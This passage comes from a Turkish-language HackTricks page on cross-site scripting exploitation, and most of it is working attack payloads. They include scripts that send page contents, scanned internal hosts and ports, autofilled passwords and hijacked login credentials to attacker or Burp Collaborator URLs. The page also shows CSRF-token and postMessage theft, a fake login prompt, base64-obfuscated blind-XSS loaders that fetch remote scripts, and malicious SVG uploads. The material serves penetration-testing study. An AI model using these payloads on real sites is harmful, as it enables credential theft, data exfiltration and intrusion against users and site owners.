var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Dahili IP'leri bul
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.
Chrome'da yasaklanan portların listesini here ve Firefox'ta here inceleyin.
Kimlik bilgileri isteme kutusu
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Otomatik doldurma şifrelerinin yakalanması
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri sızdırılacaktır.
Hijack form handlers to exfiltrate credentials (const shadowing)
Eğer kritik bir handler (ör. function DoLogin(){...}
) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (ör. via an inline JS-in-JS sink), aynı ada sahip bir const
tanımlayarak handler'ı önden ele geçirip kilitleyin. Sonraki function declarations bir const
adını yeniden bağlayamaz, böylece hook'unuz kontrolü elinde tutar:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notlar
- Bu, yürütme sırasına dayanır: injection'iniz meşru declaration'dan önce çalışmalıdır.
- Eğer payload'ınız
eval(...)
ile sarılıysa,const/let
bağlamları global olmaz. Gerçek bir global, yeniden bağlanamaz binding sağlamak için “Deliverable payloads with eval(atob()) and scope nuances” bölümündeki dynamic<script>
injection tekniğini kullanın. - Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode-escaped identifiers veya
eval(atob('...'))
teslimi ile birleştirin.
Keylogger
Sadece github'da arama yapınca birkaç farklı örnek buldum:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ayrıca metasploit
http_javascript_keylogger
kullanabilirsiniz
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage mesajlarını çalma
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers'ı kötüye kullanma
Shadow DOM'a erişim
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Ayrıca şunu da kullanabilirsiniz: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Gizli İçeriğe Erişim
Bu this writeup sayesinde bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS attribute'larında hâlâ bulunabileceğini öğrenebilirsiniz. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS ile diğer zafiyetleri kötüye kullanma
Markdown'da XSS
Markdown kodu enjekte edilebilir ve render edilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:
XSS'ten SSRF'e
Bir önbellekleme kullanan bir sitede XSS mi buldunuz? Bunu Edge Side Include Injection ile SSRF'e yükseltmeyi deneyin; şu payload ile:
<esi:include src="http://yoursite.com/capture" />
Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanın!
Bu teknik hakkında daha fazla bilgi: XSLT.
Dinamik oluşturulan PDF'te XSS
Bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan bot'u kandırarak onu keyfi JS kodu çalıştırmaya yönlendirmeye çalışabilirsiniz.\ Yani, eğer PDF oluşturucu bot herhangi bir tür HTML etiketi bulursa, bunları yorumlayacak, ve bu davranışı istismar ederek bir Server XSS tetikleyebilirsiniz.
Eğer HTML etiketleri enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:
Amp4Email'de XSS
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı hedefleyerek, işlevselliği sağlamak için HTML etiketlerini JavaScript ile destekler; hız ve güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.
AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle e-postaları içinde doğrudan etkileşime girmesini sağlar.
Örnek writeup XSS in Amp4Email in Gmail.
XSS ile dosya yükleme (svg)
Aşağıdakine benzer bir dosyayı resim olarak yükleyin (kaynak: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Daha fazla SVG payloads için https://github.com/allanlw/svg-cheatsheet
Çeşitli JS Hileleri ve İlgili Bilgiler
Misc JS Tricks & Relevant Info
XSS kaynakları
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.